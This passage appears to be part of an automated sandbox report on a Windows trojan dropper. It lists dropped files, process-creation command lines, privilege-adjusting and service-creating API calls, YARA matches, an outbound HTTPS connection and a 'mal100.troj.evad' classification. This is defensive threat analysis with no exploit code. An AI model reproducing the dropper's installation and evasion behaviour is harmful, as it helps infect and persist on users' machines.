                  Source: svchost.exe, 00000015.00000002.2536272490.00000235C2429000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118792644.00000235C2D10000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf
                  Source: svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srf
                  Source: svchost.exe, 00000015.00000002.2536272490.00000235C2429000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118792644.00000235C2D10000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf
                  Source: svchost.exe, 00000015.00000003.2118792644.00000235C2D10000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfRE
                  Source: svchost.exe, 00000015.00000003.2118892415.00000235C2D55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2538022918.00000235C2D37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://signup.live.com/signup.aspx
                  Source: sQurASc1qLwRL.exe, 0000000B.00000003.1911056309.00000000020B1000.00000004.00001000.00020000.00000000.sdmp, sQurASc1qLwRL.exe, 0000000B.00000003.1910969237.0000000002320000.00000004.00001000.00020000.00000000.sdmp, sQurASc1qLwRL.exe, 0000000B.00000002.2534511707.00000000020B1000.00000004.00001000.00020000.00000000.sdmp, sQurASc1qLwRL.tmp, 0000000C.00000002.2534507282.0000000000580000.00000004.00000020.00020000.00000000.sdmp, sQurASc1qLwRL.tmp, 0000000C.00000003.1914458717.00000000020C8000.00000004.00001000.00020000.00000000.sdmp, sQurASc1qLwRL.tmp, 0000000C.00000002.2537299654.00000000020C8000.00000004.00001000.00020000.00000000.sdmp, sQurASc1qLwRL.tmp, 0000000C.00000003.1914370786.00000000028F0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.easycutstudio.com/support.html
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49990
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49987 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49990 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49987
                  Source: unknownHTTPS traffic detected: 188.119.66.185:443 -> 192.168.2.11:49987 version: TLS 1.2
                  Source: is-OQPMB.tmp.12.drBinary or memory string: DirectDrawCreateExmemstr_e877a442-a

                  System Summary

                  barindex
                  Source: file.exeStatic PE information: section name:
                  Source: file.exeStatic PE information: section name: .idata
                  Source: file.exeStatic PE information: section name:
                  Source: C:\Users\user\Desktop\file.exeProcess Stats: CPU usage > 49%
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0042F520 NtdllDefWindowProc_A,12_2_0042F520
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00423B84 NtdllDefWindowProc_A,12_2_00423B84
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004125D8 NtdllDefWindowProc_A,12_2_004125D8
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004785E0 NtdllDefWindowProc_A,12_2_004785E0
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004573E0 PostMessageA,PostMessageA,SetForegroundWindow,NtdllDefWindowProc_A,12_2_004573E0
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0042E934: CreateFileA,DeviceIoControl,GetLastError,CloseHandle,SetLastError,12_2_0042E934
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeCode function: 11_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,11_2_00409448
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004555E4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,12_2_004555E4
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeCode function: 11_2_0040840C11_2_0040840C
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004804DB12_2_004804DB
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0047051C12_2_0047051C
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0046721812_2_00467218
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004352C812_2_004352C8
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0043DD5012_2_0043DD50
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0043035C12_2_0043035C
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004444C812_2_004444C8
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004345C412_2_004345C4
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004866B412_2_004866B4
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00444A7012_2_00444A70
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00430EE812_2_00430EE8
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0045EF3812_2_0045EF38
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0045AFC412_2_0045AFC4
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0044516812_2_00445168
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0046927812_2_00469278
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0044557412_2_00445574
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0048761412_2_00487614
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0048D9F012_2_0048D9F0
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004519BC12_2_004519BC
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_0040105115_2_00401051
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_00401C2615_2_00401C26
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_004070A715_2_004070A7
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_609660FA15_2_609660FA
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6092114F15_2_6092114F
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6091F2C915_2_6091F2C9
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6096923E15_2_6096923E
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6093323D15_2_6093323D
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6095C31415_2_6095C314
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6095031215_2_60950312
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6094D33B15_2_6094D33B
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6093B36815_2_6093B368
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6096748C15_2_6096748C
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6093F42E15_2_6093F42E
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6095447015_2_60954470
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_609615FA15_2_609615FA
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6096A5EE15_2_6096A5EE
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6096D6A415_2_6096D6A4
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_609606A815_2_609606A8
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6093265415_2_60932654
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6095566515_2_60955665
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6094B7DB15_2_6094B7DB
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6092F74D15_2_6092F74D
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6096480715_2_60964807
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6094E9BC15_2_6094E9BC
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6093792915_2_60937929
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6093FAD615_2_6093FAD6
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6096DAE815_2_6096DAE8
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_6094DA3A15_2_6094DA3A
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_60936B2715_2_60936B27
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_60954CF615_2_60954CF6
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_60950C6B15_2_60950C6B
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_60966DF115_2_60966DF1
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_60963D3515_2_60963D35
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_60909E9C15_2_60909E9C
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_60951E8615_2_60951E86
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_60912E0B15_2_60912E0B
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_60954FF815_2_60954FF8
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_02D9BAED15_2_02D9BAED
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_02DA2A7015_2_02DA2A70
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_02D9D31F15_2_02D9D31F
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_02D970B015_2_02D970B0
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_02D8E06F15_2_02D8E06F
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_02DA266D15_2_02DA266D
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_02D9BF0515_2_02D9BF05
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_02D9873A15_2_02D9873A
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_02D9B5F915_2_02D9B5F9
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_02DA0DA415_2_02DA0DA4
                  Source: Joe Sandbox ViewDropped File: C:\ProgramData\EarnPackage\sqlite3.dll 16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: String function: 02D97750 appears 32 times
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: String function: 02DA2A00 appears 135 times
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: String function: 00408C0C appears 45 times
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: String function: 00406AC4 appears 43 times
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: String function: 0040595C appears 117 times
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: String function: 00403400 appears 60 times
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: String function: 00445DD4 appears 45 times
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: String function: 004344DC appears 32 times
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: String function: 004078F4 appears 42 times
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: String function: 00457D6C appears 73 times
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: String function: 00403494 appears 82 times
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: String function: 00403684 appears 224 times
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: String function: 00457B60 appears 97 times
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: String function: 00453344 appears 94 times
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: String function: 004460A4 appears 59 times
                  Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 6784 -ip 6784
                  Source: file.exeStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
                  Source: sQurASc1qLwRL.exe.5.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
                  Source: ONE[1].file.5.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
                  Source: sQurASc1qLwRL.tmp.11.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
                  Source: sQurASc1qLwRL.tmp.11.drStatic PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                  Source: sQurASc1qLwRL.tmp.11.drStatic PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
                  Source: is-BD8Q6.tmp.12.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
                  Source: is-BD8Q6.tmp.12.drStatic PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                  Source: is-BD8Q6.tmp.12.drStatic PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
                  Source: sqlite3.dll.15.drStatic PE information: Number of sections : 19 > 10
                  Source: is-HMRND.tmp.12.drStatic PE information: Number of sections : 19 > 10
                  Source: file.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
                  Source: Y-Cleaner.exe.5.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                  Source: soft[1].5.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                  Source: videominimizer2.exe.12.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                  Source: EarnPackage.exe.15.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                  Source: classification engineClassification label: mal100.troj.evad.winEXE@27/55@0/3
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_02D8F8C0 _memset,FormatMessageA,GetLastError,FormatMessageA,GetLastError,15_2_02D8F8C0
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeCode function: 11_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,11_2_00409448
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004555E4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,12_2_004555E4
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00455E0C GetModuleHandleA,GetProcAddress,GetDiskFreeSpaceA,12_2_00455E0C
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: CloseServiceHandle,CreateServiceA,15_2_00402319
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0046DF58 GetVersion,CoCreateInstance,12_2_0046DF58
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeCode function: 11_2_00409BEC FindResourceA,SizeofResource,LoadResource,LockResource,11_2_00409BEC
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_00402B64 StartServiceCtrlDispatcherA,15_2_00402B64
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_00402B64 StartServiceCtrlDispatcherA,15_2_00402B64
                  Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\add[1].htmJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeMutant created: NULL
                  Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7660:120:WilError_03
                  Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6784
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7816:120:WilError_03
                  Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5CvJump to behavior
                  Source: Yara matchFile source: 15.0.videominimizer2.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0000000F.00000000.1931743416.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
                  Source: Yara matchFile source: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-T3MEN.tmp, type: DROPPED
                  Source: Yara matchFile source: C:\ProgramData\EarnPackage\EarnPackage.exe, type: DROPPED
                  Source: Yara matchFile source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe, type: DROPPED
                  Source: C:\Users\user\Desktop\file.exeFile read: C:\Users\desktop.iniJump to behavior
                  Source: C:\Users\user\Desktop\file.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganizationJump to behavior
                  Source: videominimizer2.exe, videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.drBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
                  Source: videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.drBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
                  Source: videominimizer2.exe, videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.drBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
                  Source: videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.drBinary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
                  Source: videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.drBinary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
                  Source: videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.drBinary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
                  Source: videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.drBinary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
                  Source: videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.drBinary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
                  Source: videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.drBinary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
                  Source: videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.drBinary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
                  Source: videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.drBinary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
                  Source: videominimizer2.exe, videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.drBinary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
                  Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
                  Source: unknownProcess created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
                  Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                  Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC
                  Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
                  Source: unknownProcess created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
                  Source: C:\Windows\System32\svchost.exeProcess created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe "C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe"
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeProcess created: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp "C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp" /SL5="$20138,4002138,54272,C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe"
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /Delete /F /TN "video_minimizer_12124"
